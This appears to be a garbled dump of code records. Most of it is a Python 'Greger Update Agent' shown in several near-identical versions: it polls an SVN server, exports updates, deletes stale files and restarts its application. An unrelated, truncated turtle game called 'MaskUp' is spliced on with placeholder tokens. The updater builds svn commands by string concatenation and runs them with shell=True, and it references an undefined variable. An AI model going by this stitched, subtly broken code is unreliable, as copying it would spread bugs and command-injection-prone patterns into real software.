localLog.debug('Initiating Greger Update Agent (GUA)...')\n self.stopExecution = Event()\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15]\n localLog.debug('Local path: ' + self._location)\n localLog.debug('Getting configuration parameters from file...')\n config = getLocalConfig()\n self.localRevisionRecordPath = config.get('greger_update_agent',\n 'local_revision_path')\n localLog.debug('Parameter: (localRevisionRecordPath) ' + self.\n localRevisionRecordPath)\n self.log.info('Greger Update Agent (GUA) successfully initiated!')\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-4": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n \"\"\"\n Main class which holds the main sequence of the application.\n \"\"\"\n\n def __init__(self, ready=None):\n \"\"\"\n Initialize the main class\n \"\"\"\n Thread.__init__(self)\n self.ready = ready\n self.logPath = 'root.GUA'\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + '.__init__')\n localLog.debug('Initiating Greger Update Agent (GUA)...')\n self.stopExecution = Event()\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15]\n localLog.debug('Local path: ' + self._location)\n localLog.debug('Getting configuration parameters from file...')\n config = getLocalConfig()\n self.localRevisionRecordPath = config.get('greger_update_agent',\n 'local_revision_path')\n localLog.debug('Parameter: (localRevisionRecordPath) ' + self.\n localRevisionRecordPath)\n self.log.info('Greger Update Agent (GUA) successfully initiated!')\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-5": "#!/usr/bin/env python\n# -- coding: utf-8 --\n\n\"\"\"\nGreger Update Agent (GUA) module for the Greger Client Module\n\"\"\"\n\n__author__ = \"Eric Sandbling\"\n__license__ = 'MIT'\n__status__ = 'Development'\n\n# System modules\nimport os, sys\nimport shutil\nimport logging\nimport subprocess\nfrom threading import Event\nfrom threading import Thread\nfrom threading import enumerate\n\n# Local Modules\nfrom common import getLocalConfig\nfrom common import restart_program\nfrom gdb import GregerDatabase\n# from gcm import GregerClientModule\n\nclass GregerUpdateAgent(Thread):\n \"\"\"\n Main class which holds the main sequence of the application.\n \"\"\"\n\n def __init__(self, ready=None):\n '''\n Initialize the main class\n '''\n Thread.__init__(self)\n self.ready = ready\n\n # Setup logging\n self.logPath = \"root.GUA\"\n self.log = logging.getLogger(self.logPath)\n localLog = logging.getLogger(self.logPath + \".__init__\")\n localLog.debug(\"Initiating Greger Update Agent (GUA)...\")\n\n # Stop execution handler\n self.stopExecution = Event()\n\n # Get local path\n self._location = os.path.abspath(__file__)\n self._location = self._location[:-15] # Trim gcm/__main__.py from path to get at location of application\n localLog.debug(\"Local path: \" + self._location)\n\n # Get Local Configuration Parameters\n localLog.debug(\"Getting configuration parameters from file...\")\n config = getLocalConfig()\n\n # Locally relevant parameters\n self.localRevisionRecordPath = config.get(\"greger_update_agent\", \"local_revision_path\")\n localLog.debug(\"Parameter: (localRevisionRecordPath) \" + self.localRevisionRecordPath)\n\n\n self.log.info(\"Greger Update Agent (GUA) successfully initiated!\")\n\n @property\n def localRevisionRecord(self):\n '''\n Get local revision record (.gcm)\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".localRevisionRecord\")\n localLog.debug(\"Getting local revision record...\")\n\n # Local parameters\n # revisionRecordPath = os.path.join(self._location, \".gcm\")\n revisionRecordPath = self.localRevisionRecordPath\n\n localLog.debug(\"Attemption to get record from file...\")\n try:\n with open(revisionRecordPath,\"r\") as f:\n localRecord = f.read()\n localLog.debug(\"Local revision record: \" + str(localRecord))\n except Exception as e:\n self.log.warning(\"Failed to open file! - \" + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n '''\n Set local revision record (.gcm)\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".localRevisionRecord\")\n localLog.debug(\"Setting local revision record (.gcm) to \" + str(newRevision) + \"...\")\n\n # Local parameters\n # revisionRecordPath = os.path.join(self._location, \".gcm\")\n revisionRecordPath = self.localRevisionRecordPath\n\n localLog.debug(\"Attemption to write \\\"\" + str(newRevision) + \"\\\" to file...\")\n with open(revisionRecordPath,\"w\") as f:\n f.write(str(newRevision))\n self.log.info(\"Local revision record set: \" + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n '''\n Retrieve information about a revision available on server.\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".getSoftwareInfo\")\n localLog.debug(\"Attempting to retrieve software revision info...\")\n\n # Locally relevant parameters\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning(\"Setting \" + str(guaSWSource) + \" not defined!\")\n return\n moduleReturn = {\n 'revision': \"\",\n 'revision_SHA' : \"\",\n 'revision_author' : \"\",\n 'revision_date' : \"\",\n 'revision_comment' : \"\"\n }\n\n # Get server revision info\n localLog.debug(\"Attempting to retrieve info from server... \" + guaSWServerURI)\n pCmd = \"svn proplist -v -R --revprop -r \" + rev\n pCmd += \" \" + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n\n # Create list of output and remove extra white spaces\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n\n # Get revision from output\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug(\"Revision: \" + revStr[:-1])\n\n # Get SHA\n shaStr = outputList[outputList.index('git-commit')+1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug(\"Revision SHA: \" + shaStr)\n\n # Get revision author\n authorStr = outputList[outputList.index('svn:author')+1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug(\"Revision author: \" + authorStr)\n\n # Get revision date\n dateStr = outputList[outputList.index('svn:date')+1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug(\"Revision date: \" + dateStr)\n\n # Get revision comment\n commentStr = outputList[outputList.index('svn:log')+1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug(\"Revision Comment: \" + commentStr)\n\n if err is not None:\n localLog.debug(\"Error message: \" + str(err))\n\n except Exception as e:\n self.log.error(\"Oops! Something went wrong - \" + str(e))\n\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n '''\n Get and updating software from server\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".updateSoftware\")\n localLog.debug(\"Getting software revision \" + str(swRev) + \" from server and updating local client...\")\n\n # Locally relevant parameters\n localLog.debug(\"Constructing target path for new software...\")\n targetRoot = self._location\n targetDir = \"gcm\"\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug(\"Target path: \" + targetPath)\n localLog.debug(\"Retrieving relevant parameters from server...\")\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug(\"Parameter: (guaSWSource) \" + guaSWServerURI)\n else:\n self.log.warning(\"Setting \" + str(guaSWSource) + \" not defined!\")\n return\n\n # Get software files from server\n localLog.debug(\"Getting software files from server...\")\n\n # Compile download command\n pCmd = \"svn export --force -r \" + str(swRev)\n pCmd += \" \" + guaSWServerURI\n pCmd += \" \" + targetPath\n localLog.debug(pCmd)\n\n # Execute command\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n\n if err is not None:\n self.log.warning(\"Error message: \" + str(err))\n else:\n self.log.info(\"Download successful!\")\n # Print output\n for line in output.splitlines():\n self.log.info(line)\n\n except Exception as e:\n self.log.error(\"Oops! Something went wrong - \" + str(e))\n\n # Read revision text\n localLog.debug(\"Reading downloaded revision from \\\"\" + output.splitlines()[-1] + \"\\\"...\")\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug(\"Downloaded Revision: \" + revText)\n\n # Update local revision record\n self.localRevisionRecord = revText\n\n # Get downloaded files text\n localLog.debug(\"Listing downloaded files...\")\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1])\n downloadedFiles.append(file)\n localLog.debug(\"File: \" + file)\n\n # List files in directory\n self.log.debug(\"Getting all files in local directory (after update)...\")\n allFiles = []\n # r=root, d=directories, f = files\n for r, d, f in os.walk(targetPath):\n for file in f:\n # allFiles.append(os.path.abspath(file))\n allFiles.append(os.path.join(r, file))\n localLog.debug(\"File: \" + allFiles[-1])\n # localLog.debug(\"File: \" + os.path.join(r, file))\n for dir in d:\n # allFiles.append(os.path.abspath(dir))\n allFiles.append(os.path.join(r, dir))\n localLog.debug(\"Dir: \" + allFiles[-1])\n # localLog.debug(\"Dir: \" + os.path.join(r, dir))\n\n self.log.info(\"Identifying old files to remove (<new_files> - <all_files>)...\")\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info(\"Removing: \" + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning(\"Oops! Something went wrong! - \" + str(e))\n\n # List files in directory\n self.log.debug(\"Re-getting all files in local directory...\")\n allFiles = []\n # r=root, d=directories, f = files\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug(\"File: \" + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug(\"Dir: \" + os.path.join(r, file))\n\n def run(self):\n '''\n Run Greger Update Agent.\n '''\n # Logging\n localLog = logging.getLogger(self.logPath + \".run\")\n self.log.info(\"Starting Greger Update Agent (GUA)...\")\n\n # Wait for Greger Client Module to start...\n localLog.debug(\"Wait for Greger Client Module to start...\")\n self.ready.wait()\n\n # Get all active threads!\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + \" \" + thr.__class__.__name__ +\" active!\")\n allThreads.update({thr.__class__.__name__ : thr})\n if thr.__class__.__name__ == \"GregerClientModule\":\n localLog.debug(\"Greger Client Module thread found! \" +\n allThreads['GregerClientModule'].name)\n\n # Start checking for updates\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug(\"Checking for updates (\" + str(loopCount) + \")...\")\n\n # Get local revision record\n localLog.debug(\"Getting local revision record...\")\n localRevision = self.localRevisionRecord\n\n # Get server revision...\n localLog.debug(\"Getting latest software info...\")\n softwareInfo = self.getSoftwareInfo()\n self.log.info(\"Revision check done! (\" + str(localRevision) + \")\")\n\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info(\"No new revision found.\")\n else:\n self.log.info(\"New revision found!\")\n\n # Do update!!\n localLog.debug(\"Attempting to update software...\")\n self.updateSoftware()\n\n # Update server with updated software\n localLog.debug(\"Attempting to update server with software info...\")\n allThreads['GregerDatabase'].update('about', softwareInfo)\n\n # Tell GCM to stop all treads (except GUA)...\n self.log.info(\"Attempting to stop all exection before restarting...\")\n allThreads['GregerClientModule'].stopAll(GUA=True)\n\n # Restart Application\n self.log.info(\"Attemption to restart application...\")\n restart_program()\n\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay']['value']\n else:\n delayTime = 10\n self.log.warning(\"Settings not defined! (using default=10)\")\n\n # Wait update delay\n self.log.info(\"Waiting \" + str(delayTime) + \"s...\")\n self.stopExecution.wait(delayTime)\n\n self.log.info(\"Greger Update Agent (GUA) execution stopped!\")\n", "step-ids": [ 5, 6, 7, 8, 11 ] }	[ 5, 6, 7, 8, 11 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') 